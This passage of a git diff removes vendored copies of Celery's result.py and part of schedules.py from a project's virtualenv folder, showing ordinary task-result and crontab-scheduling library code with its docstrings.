on_error=None, weak=False): - self.backend.add_pending_result(self, weak=weak) - return self.on_ready.then(callback, on_error) - - def _on_fulfilled(self, result): - self.backend.remove_pending_result(self) - return result - - def as_tuple(self): - parent = self.parent - return (self.id, parent and parent.as_tuple()), None - - def as_list(self): - """Return as a list of task IDs.""" - results = [] - parent = self.parent - results.append(self.id) - if parent is not None: - results.extend(parent.as_list()) - return results - - def forget(self): - """Forget the result of this task and its parents.""" - self._cache = None - if self.parent: - self.parent.forget() - self.backend.forget(self.id) - - def revoke(self, connection=None, terminate=False, signal=None, - wait=False, timeout=None): - """Send revoke signal to all workers. - - Any worker receiving the task, or having reserved the - task, *must* ignore it. - - Arguments: - terminate (bool): Also terminate the process currently working - on the task (if any). - signal (str): Name of signal to send to process if terminate. - Default is TERM. - wait (bool): Wait for replies from workers. - The ``timeout`` argument specifies the seconds to wait. - Disabled by default. - timeout (float): Time in seconds to wait for replies when - ``wait`` is enabled. - """ - self.app.control.revoke(self.id, connection=connection, - terminate=terminate, signal=signal, - reply=wait, timeout=timeout) - - def revoke_by_stamped_headers(self, headers, connection=None, terminate=False, signal=None, - wait=False, timeout=None): - """Send revoke signal to all workers only for tasks with matching headers values. - - Any worker receiving the task, or having reserved the - task, *must* ignore it. - All header fields *must* match. - - Arguments: - headers (dict[str, Union(str, list)]): Headers to match when revoking tasks. - terminate (bool): Also terminate the process currently working - on the task (if any). - signal (str): Name of signal to send to process if terminate. - Default is TERM. - wait (bool): Wait for replies from workers. - The ``timeout`` argument specifies the seconds to wait. - Disabled by default. - timeout (float): Time in seconds to wait for replies when - ``wait`` is enabled. - """ - self.app.control.revoke_by_stamped_headers(headers, connection=connection, - terminate=terminate, signal=signal, - reply=wait, timeout=timeout) - - def get(self, timeout=None, propagate=True, interval=0.5, - no_ack=True, follow_parents=True, callback=None, on_message=None, - on_interval=None, disable_sync_subtasks=True, - EXCEPTION_STATES=states.EXCEPTION_STATES, - PROPAGATE_STATES=states.PROPAGATE_STATES): - """Wait until task is ready, and return its result. - - Warning: - Waiting for tasks within a task may lead to deadlocks. - Please read :ref:`task-synchronous-subtasks`. - - Warning: - Backends use resources to store and transmit results. To ensure - that resources are released, you must eventually call - :meth:`~@AsyncResult.get` or :meth:`~@AsyncResult.forget` on - EVERY :class:`~@AsyncResult` instance returned after calling - a task. - - Arguments: - timeout (float): How long to wait, in seconds, before the - operation times out. This is the setting for the publisher - (celery client) and is different from `timeout` parameter of - `@app.task`, which is the setting for the worker. The task - isn't terminated even if timeout occurs. - propagate (bool): Re-raise exception if the task failed. - interval (float): Time to wait (in seconds) before retrying to - retrieve the result. Note that this does not have any effect - when using the RPC/redis result store backends, as they don't - use polling. - no_ack (bool): Enable amqp no ack (automatically acknowledge - message). If this is :const:`False` then the message will - **not be acked**. - follow_parents (bool): Re-raise any exception raised by - parent tasks. - disable_sync_subtasks (bool): Disable tasks to wait for sub tasks - this is the default configuration. CAUTION do not enable this - unless you must. - - Raises: - celery.exceptions.TimeoutError: if `timeout` isn't - :const:`None` and the result does not arrive within - `timeout` seconds. - Exception: If the remote call raised an exception then that - exception will be re-raised in the caller process. - """ - if self.ignored: - return - - if disable_sync_subtasks: - assert_will_not_block() - _on_interval = promise() - if follow_parents and propagate and self.parent: - _on_interval = promise(self._maybe_reraise_parent_error, weak=True) - self._maybe_reraise_parent_error() - if on_interval: - _on_interval.then(on_interval) - - if self._cache: - if propagate: - self.maybe_throw(callback=callback) - return self.result - - self.backend.add_pending_result(self) - return self.backend.wait_for_pending( - self, timeout=timeout, - interval=interval, - on_interval=_on_interval, - no_ack=no_ack, - propagate=propagate, - callback=callback, - on_message=on_message, - ) - wait = get # deprecated alias to :meth:`get`. - - def _maybe_reraise_parent_error(self): - for node in reversed(list(self._parents())): - node.maybe_throw() - - def _parents(self): - node = self.parent - while node: - yield node - node = node.parent - - def collect(self, intermediate=False, **kwargs): - """Collect results as they return. - - Iterator, like :meth:`get` will wait for the task to complete, - but will also follow :class:`AsyncResult` and :class:`ResultSet` - returned by the task, yielding ``(result, value)`` tuples for each - result in the tree. - - An example would be having the following tasks: - - .. code-block:: python - - from celery import group - from proj.celery import app - - @app.task(trail=True) - def A(how_many): - return group(B.s(i) for i in range(how_many))() - - @app.task(trail=True) - def B(i): - return pow2.delay(i) - - @app.task(trail=True) - def pow2(i): - return i ** 2 - - .. code-block:: pycon - - >>> from celery.result import ResultBase - >>> from proj.tasks import A - - >>> result = A.delay(10) - >>> [v for v in result.collect() - ... if not isinstance(v, (ResultBase, tuple))] - [0, 1, 4, 9, 16, 25, 36, 49, 64, 81] - - Note: - The ``Task.trail`` option must be enabled - so that the list of children is stored in ``result.children``. - This is the default but enabled explicitly for illustration. - - Yields: - Tuple[AsyncResult, Any]: tuples containing the result instance - of the child task, and the return value of that task. - """ - for _, R in self.iterdeps(intermediate=intermediate): - yield R, R.get(**kwargs) - - def get_leaf(self): - value = None - for _, R in self.iterdeps(): - value = R.get() - return value - - def iterdeps(self, intermediate=False): - stack = deque([(None, self)]) - - is_incomplete_stream = not intermediate - - while stack: - parent, node = stack.popleft() - yield parent, node - if node.ready(): - stack.extend((node, child) for child in node.children or []) - else: - if is_incomplete_stream: - raise IncompleteStream() - - def ready(self): - """Return :const:`True` if the task has executed. - - If the task is still running, pending, or is waiting - for retry then :const:`False` is returned. - """ - return self.state in self.backend.READY_STATES - - def successful(self): - """Return :const:`True` if the task executed successfully.""" - return self.state == states.SUCCESS - - def failed(self): - """Return :const:`True` if the task failed.""" - return self.state == states.FAILURE - - def throw(self, *args, **kwargs): - self.on_ready.throw(*args, **kwargs) - - def maybe_throw(self, propagate=True, callback=None): - cache = self._get_task_meta() if self._cache is None else self._cache - state, value, tb = ( - cache['status'], cache['result'], cache.get('traceback')) - if state in states.PROPAGATE_STATES and propagate: - self.throw(value, self._to_remote_traceback(tb)) - if callback is not None: - callback(self.id, value) - return value - maybe_reraise = maybe_throw # XXX compat alias - - def _to_remote_traceback(self, tb): - if tb and tblib is not None and self.app.conf.task_remote_tracebacks: - return tblib.Traceback.from_string(tb).as_traceback() - - def build_graph(self, intermediate=False, formatter=None): - graph = DependencyGraph( - formatter=formatter or GraphFormatter(root=self.id, shape='oval'), - ) - for parent, node in self.iterdeps(intermediate=intermediate): - graph.add_arc(node) - if parent: - graph.add_edge(parent, node) - return graph - - def __str__(self): - """`str(self) -> self.id`.""" - return str(self.id) - - def __hash__(self): - """`hash(self) -> hash(self.id)`.""" - return hash(self.id) - - def __repr__(self): - return f'<{type(self).__name__}: {self.id}>' - - def __eq__(self, other): - if isinstance(other, AsyncResult): - return other.id == self.id - elif isinstance(other, str): - return other == self.id - return NotImplemented - - def __copy__(self): - return self.__class__( - self.id, self.backend, None, self.app, self.parent, - ) - - def __reduce__(self): - return self.__class__, self.__reduce_args__() - - def __reduce_args__(self): - return self.id, self.backend, None, None, self.parent - - def __del__(self): - """Cancel pending operations when the instance is destroyed.""" - if self.backend is not None: - self.backend.remove_pending_result(self) - - @cached_property - def graph(self): - return self.build_graph() - - @property - def supports_native_join(self): - return self.backend.supports_native_join - - @property - def children(self): - return self._get_task_meta().get('children') - - def _maybe_set_cache(self, meta): - if meta: - state = meta['status'] - if state in states.READY_STATES: - d = self._set_cache(self.backend.meta_from_decoded(meta)) - self.on_ready(self) - return d - return meta - - def _get_task_meta(self): - if self._cache is None: - return self._maybe_set_cache(self.backend.get_task_meta(self.id)) - return self._cache - - def _iter_meta(self, **kwargs): - return iter([self._get_task_meta()]) - - def _set_cache(self, d): - children = d.get('children') - if children: - d['children'] = [ - result_from_tuple(child, self.app) for child in children - ] - self._cache = d - return d - - @property - def result(self): - """Task return value. - - Note: - When the task has been executed, this contains the return value. - If the task raised an exception, this will be the exception - instance. - """ - return self._get_task_meta()['result'] - info = result - - @property - def traceback(self): - """Get the traceback of a failed task.""" - return self._get_task_meta().get('traceback') - - @property - def state(self): - """The tasks current state. - - Possible values includes: - - *PENDING* - - The task is waiting for execution. - - *STARTED* - - The task has been started. - - *RETRY* - - The task is to be retried, possibly because of failure. - - *FAILURE* - - The task raised an exception, or has exceeded the retry limit. - The :attr:`result` attribute then contains the - exception raised by the task. - - *SUCCESS* - - The task executed successfully. The :attr:`result` attribute - then contains the tasks return value. - """ - return self._get_task_meta()['status'] - status = state # XXX compat - - @property - def task_id(self): - """Compat. alias to :attr:`id`.""" - return self.id - - @task_id.setter - def task_id(self, id): - self.id = id - - @property - def name(self): - return self._get_task_meta().get('name') - - @property - def args(self): - return self._get_task_meta().get('args') - - @property - def kwargs(self): - return self._get_task_meta().get('kwargs') - - @property - def worker(self): - return self._get_task_meta().get('worker') - - @property - def date_done(self): - """UTC date and time.""" - date_done = self._get_task_meta().get('date_done') - if date_done and not isinstance(date_done, datetime.datetime): - return isoparse(date_done) - return date_done - - @property - def retries(self): - return self._get_task_meta().get('retries') - - @property - def queue(self): - return self._get_task_meta().get('queue') - - -@Thenable.register -class ResultSet(ResultBase): - """A collection of results. - - Arguments: - results (Sequence[AsyncResult]): List of result instances. - """ - - _app = None - - #: List of results in in the set. - results = None - - def __init__(self, results, app=None, ready_barrier=None, **kwargs): - self._app = app - self.results = results - self.on_ready = promise(args=(proxy(self),)) - self._on_full = ready_barrier or barrier(results) - if self._on_full: - self._on_full.then(promise(self._on_ready, weak=True)) - - def add(self, result): - """Add :class:`AsyncResult` as a new member of the set. - - Does nothing if the result is already a member. - """ - if result not in self.results: - self.results.append(result) - if self._on_full: - self._on_full.add(result) - - def _on_ready(self): - if self.backend.is_async: - self.on_ready() - - def remove(self, result): - """Remove result from the set; it must be a member. - - Raises: - KeyError: if the result isn't a member. - """ - if isinstance(result, str): - result = self.app.AsyncResult(result) - try: - self.results.remove(result) - except ValueError: - raise KeyError(result) - - def discard(self, result): - """Remove result from the set if it is a member. - - Does nothing if it's not a member. - """ - try: - self.remove(result) - except KeyError: - pass - - def update(self, results): - """Extend from iterable of results.""" - self.results.extend(r for r in results if r not in self.results) - - def clear(self): - """Remove all results from this set.""" - self.results[:] = [] # don't create new list. - - def successful(self): - """Return true if all tasks successful. - - Returns: - bool: true if all of the tasks finished - successfully (i.e. didn't raise an exception). - """ - return all(result.successful() for result in self.results) - - def failed(self): - """Return true if any of the tasks failed. - - Returns: - bool: true if one of the tasks failed. - (i.e., raised an exception) - """ - return any(result.failed() for result in self.results) - - def maybe_throw(self, callback=None, propagate=True): - for result in self.results: - result.maybe_throw(callback=callback, propagate=propagate) - maybe_reraise = maybe_throw # XXX compat alias. - - def waiting(self): - """Return true if any of the tasks are incomplete. - - Returns: - bool: true if one of the tasks are still - waiting for execution. - """ - return any(not result.ready() for result in self.results) - - def ready(self): - """Did all of the tasks complete? (either by success of failure). - - Returns: - bool: true if all of the tasks have been executed. - """ - return all(result.ready() for result in self.results) - - def completed_count(self): - """Task completion count. - - Note that `complete` means `successful` in this context. In other words, the - return value of this method is the number of ``successful`` tasks. - - Returns: - int: the number of complete (i.e. successful) tasks. - """ - return sum(int(result.successful()) for result in self.results) - - def forget(self): - """Forget about (and possible remove the result of) all the tasks.""" - for result in self.results: - result.forget() - - def revoke(self, connection=None, terminate=False, signal=None, - wait=False, timeout=None): - """Send revoke signal to all workers for all tasks in the set. - - Arguments: - terminate (bool): Also terminate the process currently working - on the task (if any). - signal (str): Name of signal to send to process if terminate. - Default is TERM. - wait (bool): Wait for replies from worker. - The ``timeout`` argument specifies the number of seconds - to wait. Disabled by default. - timeout (float): Time in seconds to wait for replies when - the ``wait`` argument is enabled. - """ - self.app.control.revoke([r.id for r in self.results], - connection=connection, timeout=timeout, - terminate=terminate, signal=signal, reply=wait) - - def __iter__(self): - return iter(self.results) - - def __getitem__(self, index): - """`res[i] -> res.results[i]`.""" - return self.results[index] - - def get(self, timeout=None, propagate=True, interval=0.5, - callback=None, no_ack=True, on_message=None, - disable_sync_subtasks=True, on_interval=None): - """See :meth:`join`. - - This is here for API compatibility with :class:`AsyncResult`, - in addition it uses :meth:`join_native` if available for the - current result backend. - """ - return (self.join_native if self.supports_native_join else self.join)( - timeout=timeout, propagate=propagate, - interval=interval, callback=callback, no_ack=no_ack, - on_message=on_message, disable_sync_subtasks=disable_sync_subtasks, - on_interval=on_interval, - ) - - def join(self, timeout=None, propagate=True, interval=0.5, - callback=None, no_ack=True, on_message=None, - disable_sync_subtasks=True, on_interval=None): - """Gather the results of all tasks as a list in order. - - Note: - This can be an expensive operation for result store - backends that must resort to polling (e.g., database). - - You should consider using :meth:`join_native` if your backend - supports it. - - Warning: - Waiting for tasks within a task may lead to deadlocks. - Please see :ref:`task-synchronous-subtasks`. - - Arguments: - timeout (float): The number of seconds to wait for results - before the operation times out. - propagate (bool): If any of the tasks raises an exception, - the exception will be re-raised when this flag is set. - interval (float): Time to wait (in seconds) before retrying to - retrieve a result from the set. Note that this does not have - any effect when using the amqp result store backend, - as it does not use polling. - callback (Callable): Optional callback to be called for every - result received. Must have signature ``(task_id, value)`` - No results will be returned by this function if a callback - is specified. The order of results is also arbitrary when a - callback is used. To get access to the result object for - a particular id you'll have to generate an index first: - ``index = {r.id: r for r in gres.results.values()}`` - Or you can create new result objects on the fly: - ``result = app.AsyncResult(task_id)`` (both will - take advantage of the backend cache anyway). - no_ack (bool): Automatic message acknowledgment (Note that if this - is set to :const:`False` then the messages - *will not be acknowledged*). - disable_sync_subtasks (bool): Disable tasks to wait for sub tasks - this is the default configuration. CAUTION do not enable this - unless you must. - - Raises: - celery.exceptions.TimeoutError: if ``timeout`` isn't - :const:`None` and the operation takes longer than ``timeout`` - seconds. - """ - if disable_sync_subtasks: - assert_will_not_block() - time_start = time.monotonic() - remaining = None - - if on_message is not None: - raise ImproperlyConfigured( - 'Backend does not support on_message callback') - - results = [] - for result in self.results: - remaining = None - if timeout: - remaining = timeout - (time.monotonic() - time_start) - if remaining <= 0.0: - raise TimeoutError('join operation timed out') - value = result.get( - timeout=remaining, propagate=propagate, - interval=interval, no_ack=no_ack, on_interval=on_interval, - disable_sync_subtasks=disable_sync_subtasks, - ) - if callback: - callback(result.id, value) - else: - results.append(value) - return results - - def then(self, callback, on_error=None, weak=False): - return self.on_ready.then(callback, on_error) - - def iter_native(self, timeout=None, interval=0.5, no_ack=True, - on_message=None, on_interval=None): - """Backend optimized version of :meth:`iterate`. - - .. versionadded:: 2.2 - - Note that this does not support collecting the results - for different task types using different backends. - - This is currently only supported by the amqp, Redis and cache - result backends. - """ - return self.backend.iter_native( - self, - timeout=timeout, interval=interval, no_ack=no_ack, - on_message=on_message, on_interval=on_interval, - ) - - def join_native(self, timeout=None, propagate=True, - interval=0.5, callback=None, no_ack=True, - on_message=None, on_interval=None, - disable_sync_subtasks=True): - """Backend optimized version of :meth:`join`. - - .. versionadded:: 2.2 - - Note that this does not support collecting the results - for different task types using different backends. - - This is currently only supported by the amqp, Redis and cache - result backends. - """ - if disable_sync_subtasks: - assert_will_not_block() - order_index = None if callback else { - result.id: i for i, result in enumerate(self.results) - } - acc = None if callback else [None for _ in range(len(self))] - for task_id, meta in self.iter_native(timeout, interval, no_ack, - on_message, on_interval): - if isinstance(meta, list): - value = [] - for children_result in meta: - value.append(children_result.get()) - else: - value = meta['result'] - if propagate and meta['status'] in states.PROPAGATE_STATES: - raise value - if callback: - callback(task_id, value) - else: - acc[order_index[task_id]] = value - return acc - - def _iter_meta(self, **kwargs): - return (meta for _, meta in self.backend.get_many( - {r.id for r in self.results}, max_iterations=1, **kwargs - )) - - def _failed_join_report(self): - return (res for res in self.results - if res.backend.is_cached(res.id) and - res.state in states.PROPAGATE_STATES) - - def __len__(self): - return len(self.results) - - def __eq__(self, other): - if isinstance(other, ResultSet): - return other.results == self.results - return NotImplemented - - def __repr__(self): - return f'<{type(self).__name__}: [{", ".join(r.id for r in self.results)}]>' - - @property - def supports_native_join(self): - try: - return self.results[0].supports_native_join - except IndexError: - pass - - @property - def app(self): - if self._app is None: - self._app = (self.results[0].app if self.results else - current_app._get_current_object()) - return self._app - - @app.setter - def app(self, app): - self._app = app - - @property - def backend(self): - return self.app.backend if self.app else self.results[0].backend - - -@Thenable.register -class GroupResult(ResultSet): - """Like :class:`ResultSet`, but with an associated id. - - This type is returned by :class:`~celery.group`. - - It enables inspection of the tasks state and return values as - a single entity. - - Arguments: - id (str): The id of the group. - results (Sequence[AsyncResult]): List of result instances. - parent (ResultBase): Parent result of this group. - """ - - #: The UUID of the group. - id = None - - #: List/iterator of results in the group - results = None - - def __init__(self, id=None, results=None, parent=None, **kwargs): - self.id = id - self.parent = parent - super().__init__(results, **kwargs) - - def _on_ready(self): - self.backend.remove_pending_result(self) - super()._on_ready() - - def save(self, backend=None): - """Save group-result for later retrieval using :meth:`restore`. - - Example: - >>> def save_and_restore(result): - ... result.save() - ... result = GroupResult.restore(result.id) - """ - return (backend or self.app.backend).save_group(self.id, self) - - def delete(self, backend=None): - """Remove this result if it was previously saved.""" - (backend or self.app.backend).delete_group(self.id) - - def __reduce__(self): - return self.__class__, self.__reduce_args__() - - def __reduce_args__(self): - return self.id, self.results - - def __bool__(self): - return bool(self.id or self.results) - __nonzero__ = __bool__ # Included for Py2 backwards compatibility - - def __eq__(self, other): - if isinstance(other, GroupResult): - return ( - other.id == self.id and - other.results == self.results and - other.parent == self.parent - ) - elif isinstance(other, str): - return other == self.id - return NotImplemented - - def __repr__(self): - return f'<{type(self).__name__}: {self.id} [{", ".join(r.id for r in self.results)}]>' - - def __str__(self): - """`str(self) -> self.id`.""" - return str(self.id) - - def __hash__(self): - """`hash(self) -> hash(self.id)`.""" - return hash(self.id) - - def as_tuple(self): - return ( - (self.id, self.parent and self.parent.as_tuple()), - [r.as_tuple() for r in self.results] - ) - - @property - def children(self): - return self.results - - @classmethod - def restore(cls, id, backend=None, app=None): - """Restore previously saved group result.""" - app = app or ( - cls.app if not isinstance(cls.app, property) else current_app - ) - backend = backend or app.backend - return backend.restore_group(id) - - -@Thenable.register -class EagerResult(AsyncResult): - """Result that we know has already been executed.""" - - def __init__(self, id, ret_value, state, traceback=None, name=None): - # pylint: disable=super-init-not-called - # XXX should really not be inheriting from AsyncResult - self.id = id - self._result = ret_value - self._state = state - self._traceback = traceback - self._name = name - self.on_ready = promise() - self.on_ready(self) - - def then(self, callback, on_error=None, weak=False): - return self.on_ready.then(callback, on_error) - - def _get_task_meta(self): - return self._cache - - def __reduce__(self): - return self.__class__, self.__reduce_args__() - - def __reduce_args__(self): - return (self.id, self._result, self._state, self._traceback) - - def __copy__(self): - cls, args = self.__reduce__() - return cls(*args) - - def ready(self): - return True - - def get(self, timeout=None, propagate=True, - disable_sync_subtasks=True, **kwargs): - if disable_sync_subtasks: - assert_will_not_block() - - if self.successful(): - return self.result - elif self.state in states.PROPAGATE_STATES: - if propagate: - raise self.result if isinstance( - self.result, Exception) else Exception(self.result) - return self.result - wait = get # XXX Compat (remove 5.0) - - def forget(self): - pass - - def revoke(self, *args, **kwargs): - self._state = states.REVOKED - - def __repr__(self): - return f'' - - @property - def _cache(self): - return { - 'task_id': self.id, - 'result': self._result, - 'status': self._state, - 'traceback': self._traceback, - 'name': self._name, - } - - @property - def result(self): - """The tasks return value.""" - return self._result - - @property - def state(self): - """The tasks state.""" - return self._state - status = state - - @property - def traceback(self): - """The traceback if the task failed.""" - return self._traceback - - @property - def supports_native_join(self): - return False - - -def result_from_tuple(r, app=None): - """Deserialize result from tuple.""" - # earlier backends may just pickle, so check if - # result is already prepared. - app = app_or_default(app) - Result = app.AsyncResult - if not isinstance(r, ResultBase): - res, nodes = r - id, parent = res if isinstance(res, (list, tuple)) else (res, None) - if parent: - parent = result_from_tuple(parent, app) - - if nodes is not None: - return app.GroupResult( - id, [result_from_tuple(child, app) for child in nodes], - parent=parent, - ) - - return Result(id, parent=parent) - return r diff --git a/backend/venv/Lib/site-packages/celery/schedules.py b/backend/venv/Lib/site-packages/celery/schedules.py deleted file mode 100644 index 010b3396..00000000 --- a/backend/venv/Lib/site-packages/celery/schedules.py +++ /dev/null @@ -1,887 +0,0 @@ -"""Schedules define the intervals at which periodic tasks run.""" -from __future__ import annotations - -import re -from bisect import bisect, bisect_left -from collections import namedtuple -from datetime import datetime, timedelta, tzinfo -from typing import Any, Callable, Iterable, Mapping, Sequence, Union - -from kombu.utils.objects import cached_property - -from celery import Celery - -from . import current_app -from .utils.collections import AttributeDict -from .utils.time import (ffwd, humanize_seconds, localize, maybe_make_aware, maybe_timedelta, remaining, timezone, - weekday, yearmonth) - -__all__ = ( - 'ParseException', 'schedule', 'crontab', 'crontab_parser', - 'maybe_schedule', 'solar', -) - -schedstate = namedtuple('schedstate', ('is_due', 'next')) - -CRON_PATTERN_INVALID = """\ -Invalid crontab pattern. Valid range is {min}-{max}. \ -'{value}' was found.\ -""" - -CRON_INVALID_TYPE = """\ -Argument cronspec needs to be of any of the following types: \ -int, str, or an iterable type. {type!r} was given.\ -""" - -CRON_REPR = """\ -\ -""" - -SOLAR_INVALID_LATITUDE = """\ -Argument latitude {lat} is invalid, must be between -90 and 90.\ -""" - -SOLAR_INVALID_LONGITUDE = """\ -Argument longitude {lon} is invalid, must be between -180 and 180.\ -""" - -SOLAR_INVALID_EVENT = """\ -Argument event "{event}" is invalid, must be one of {all_events}.\ -""" - - -Cronspec = Union[int, str, Iterable[int]] - - -def cronfield(s: Cronspec | None) -> Cronspec: - return '*' if s is None else s - - -class ParseException(Exception): - """Raised by :class:`crontab_parser` when the input can't be parsed.""" - - -class BaseSchedule: - - def __init__(self, nowfun: Callable | None = None, app: Celery | None = None): - self.nowfun = nowfun - self._app = app - - def now(self) -> datetime: - return (self.nowfun or self.app.now)() - - def remaining_estimate(self, last_run_at: datetime) -> timedelta: - raise NotImplementedError() - - def is_due(self, last_run_at: datetime) -> tuple[bool, datetime]: - raise NotImplementedError() - - def maybe_make_aware( - self, dt: datetime, naive_as_utc: bool = True) -> datetime: - return maybe_make_aware(dt, self.tz, naive_as_utc=naive_as_utc) - - @property - def app(self) -> Celery: - return self._app or current_app._get_current_object() - - @app.setter - def app(self, app: Celery) -> None: - self._app = app - - @cached_property - def tz(self) -> tzinfo: - return self.app.timezone - - @cached_property - def utc_enabled(self) -> bool: - return self.app.conf.enable_utc - - def to_local(self, dt: datetime) -> datetime: - if not self.utc_enabled: - return timezone.to_local_fallback(dt) - return dt - - def __eq__(self, other: Any) -> bool: - if isinstance(other, BaseSchedule): - return other.nowfun == self.nowfun - return NotImplemented - - -class schedule(BaseSchedule): - """Schedule for periodic task. - - Arguments: - run_every (float, ~datetime.timedelta): Time interval. - relative (bool): If set to True the run time will be rounded to the - resolution of the interval. - nowfun (Callable): Function returning the current date and time - (:class:`~datetime.datetime`). - app (Celery): Celery app instance. - """ - - relative: bool = False - - def __init__(self, run_every: float | timedelta | None = None, - relative: bool = False, nowfun: Callable | None = None, app: Celery - | None = None) -> None: - self.run_every = maybe_timedelta(run_every) - self.relative = relative - super().__init__(nowfun=nowfun, app=app) - - def remaining_estimate(self, last_run_at: datetime) -> timedelta: - return remaining( - self.maybe_make_aware(last_run_at), self.run_every, - self.maybe_make_aware(self.now()), self.relative, - ) - - def is_due(self, last_run_at: datetime) -> tuple[bool, datetime]: - """Return tuple of ``(is_due, next_time_to_check)``. - - Notes: - - next time to check is in seconds. - - - ``(True, 20)``, means the task should be run now, and the next - time to check is in 20 seconds. - - - ``(False, 12.3)``, means the task is not due, but that the - scheduler should check again in 12.3 seconds. - - The next time to check is used to save energy/CPU cycles, - it does not need to be accurate but will influence the precision - of your schedule. You must also keep in mind - the value of :setting:`beat_max_loop_interval`, - that decides the maximum number of seconds the scheduler can - sleep between re-checking the periodic task intervals. So if you - have a task that changes schedule at run-time then your next_run_at - check will decide how long it will take before a change to the - schedule takes effect. The max loop interval takes precedence - over the next check at value returned. - - .. admonition:: Scheduler max interval variance - - The default max loop interval may vary for different schedulers. - For the default scheduler the value is 5 minutes, but for example - the :pypi:`django-celery-beat` database scheduler the value - is 5 seconds. - """ - last_run_at = self.maybe_make_aware(last_run_at) - rem_delta = self.remaining_estimate(last_run_at) - remaining_s = max(rem_delta.total_seconds(), 0) - if remaining_s == 0: - return schedstate(is_due=True, next=self.seconds) - return schedstate(is_due=False, next=remaining_s) - - def __repr__(self) -> str: - return f'' - - def __eq__(self, other: Any) -> bool: - if isinstance(other, schedule): - return self.run_every == other.run_every - return self.run_every == other - - def __reduce__(self) -> tuple[type, - tuple[timedelta, bool, Callable | None]]: - return self.__class__, (self.run_every, self.relative, self.nowfun) - - @property - def seconds(self) -> int | float: - return max(self.run_every.total_seconds(), 0) - - @property - def human_seconds(self) -> str: - return humanize_seconds(self.seconds) - - -class crontab_parser: - """Parser for Crontab expressions. - - Any expression of the form 'groups' - (see BNF grammar below) is accepted and expanded to a set of numbers. - These numbers represent the units of time that the Crontab needs to - run on: - - .. code-block:: bnf - - digit :: '0'..'9' - dow :: 'a'..'z' - number :: digit+ | dow+ - steps :: number - range :: number ( '-' number ) ? - numspec :: '*' | range - expr :: numspec ( '/' steps ) ? - groups :: expr ( ',' expr ) * - - The parser is a general purpose one, useful for parsing hours, minutes and - day of week expressions. Example usage: - - .. code-block:: pycon - - >>> minutes = crontab_parser(60).parse('*/15') - [0, 15, 30, 45] - >>> hours = crontab_parser(24).parse('*/4') - [0, 4, 8, 12, 16, 20] - >>> day_of_week = crontab_parser(7).parse('*') - [0, 1, 2, 3, 4, 5, 6] - - It can also parse day of month and month of year expressions if initialized - with a minimum of 1. Example usage: - - .. code-block:: pycon - - >>> days_of_month = crontab_parser(31, 1).parse('*/3') - [1, 4, 7, 10, 13, 16, 19, 22, 25, 28, 31] - >>> months_of_year = crontab_parser(12, 1).parse('*/2') - [1, 3, 5, 7, 9, 11] - >>> months_of_year = crontab_parser(12, 1).parse('2-12/2') - [2, 4, 6, 8, 10, 12] - - The maximum possible expanded value returned is found by the formula: - - :math:`max_ + min_ - 1` - """ - - ParseException = ParseException - - _range = r'(\w+?)-(\w+)' - _steps = r'/(\w+)?' - _star = r'\*' - - def __init__(self, max_: int = 60, min_: int = 0): - self.max_ = max_ - self.min_ = min_ - self.pats: tuple[tuple[re.Pattern, Callable], ...] = ( - (re.compile(self._range + self._steps), self._range_steps), - (re.compile(self._range), self._expand_range), - (re.compile(self._star + self._steps), self._star_steps), - (re.compile('^' + self._star + '$'), self._expand_star), - ) - - def parse(self, spec: str) -> set[int]: - acc = set() - for part in spec.split(','): - if not part: - raise self.ParseException('empty part') - acc |= set(self._parse_part(part)) - return acc - - def _parse_part(self, part: str) -> list[int]: - for regex, handler in self.pats: - m = regex.match(part) - if m: - return handler(m.groups()) - return self._expand_range((part,)) - - def _expand_range(self, toks: Sequence[str]) -> list[int]: - fr = self._expand_number(toks[0]) - if len(toks) > 1: - to = self._expand_number(toks[1]) - if to < fr: # Wrap around max_ if necessary - return (list(range(fr, self.min_ + self.max_)) + - list(range(self.min_, to + 1))) - return list(range(fr, to + 1)) - return [fr] - - def _range_steps(self, toks: Sequence[str]) -> list[int]: - if len(toks) != 3 or not toks[2]: - raise self.ParseException('empty filter') - return self._expand_range(toks[:2])[::int(toks[2])] - - def _star_steps(self, toks: Sequence[str]) -> list[int]: - if not toks or not toks[0]: - raise self.ParseException('empty filter') - return self._expand_star()[::int(toks[0])] - - def _expand_star(self, *args: Any) -> list[int]: - return list(range(self.min_, self.max_ + self.min_)) - - def _expand_number(self, s: str) -> int: - if isinstance(s, str) and s[0] == '-': - raise self.ParseException('negative numbers not supported') - try: - i = int(s) - except ValueError: - try: - i = yearmonth(s) - except KeyError: - try: - i = weekday(s) - except KeyError: - raise ValueError(f'Invalid weekday literal {s!r}.') - - max_val = self.min_ + self.max_ - 1 - if i > max_val: - raise ValueError( - f'Invalid end range: {i} > {max_val}.') - if i < self.min_: - raise ValueError( - f'Invalid beginning range: {i} < {self.min_}.') - - return i - - -class crontab(BaseSchedule): - """Crontab schedule. - - A Crontab can be used as the ``run_every`` value of a - periodic task entry to add :manpage:`crontab(5)`-like scheduling. - - Like a :manpage:`cron(5)`-job, you can specify units of time of when - you'd like the task to execute. It's a reasonably complete - implementation of :command:`cron`'s features, so it should provide a fair - degree of scheduling needs. - - You can specify a minute, an hour, a day of the week, a day of the - month, and/or a month in the year in any of the following formats: - - .. attribute:: minute - - - A (list of) integers from 0-59 that represent the minutes of - an hour of when execution should occur; or - - A string representing a Crontab pattern. This may get pretty - advanced, like ``minute='*/15'`` (for every quarter) or - ``minute='1,13,30-45,50-59/2'``. - - .. attribute:: hour - - - A (list of) integers from 0-23 that represent the hours of - a day of when execution should occur; or - - A string representing a Crontab pattern. This may get pretty - advanced, like ``hour='*/3'`` (for every three hours) or - ``hour='0,8-17/2'`` (at midnight, and every two hours during - office hours). - - .. attribute:: day_of_week - - - A (list of) integers from 0-6, where Sunday = 0 and Saturday = - 6, that represent the days of a week that execution should - occur. - - A string representing a Crontab pattern. This may get pretty - advanced, like ``day_of_week='mon-fri'`` (for weekdays only). - (Beware that ``day_of_week='*/2'`` does not literally mean - 'every two days', but 'every day that is divisible by two'!) - - .. attribute:: day_of_month - - - A (list of) integers from 1-31 that represents the days of the - month that execution should occur. - - A string representing a Crontab pattern. This may get pretty - advanced, such as ``day_of_month='2-30/2'`` (for every even - numbered day) or ``day_of_month='1-7,15-21'`` (for the first and - third weeks of the month). - - .. attribute:: month_of_year - - - A (list of) integers from 1-12 that represents the months of - the year during which execution can occur. - - A string representing a Crontab pattern. This may get pretty - advanced, such as ``month_of_year='*/3'`` (for the first month - of every quarter) or ``month_of_year='2-12/2'`` (for every even - numbered month). - - .. attribute:: nowfun - - Function returning the current date and time - (:class:`~datetime.datetime`). - - .. attribute:: app - - The Celery app instance. - - It's important to realize that any day on which execution should - occur must be represented by entries in all three of the day and 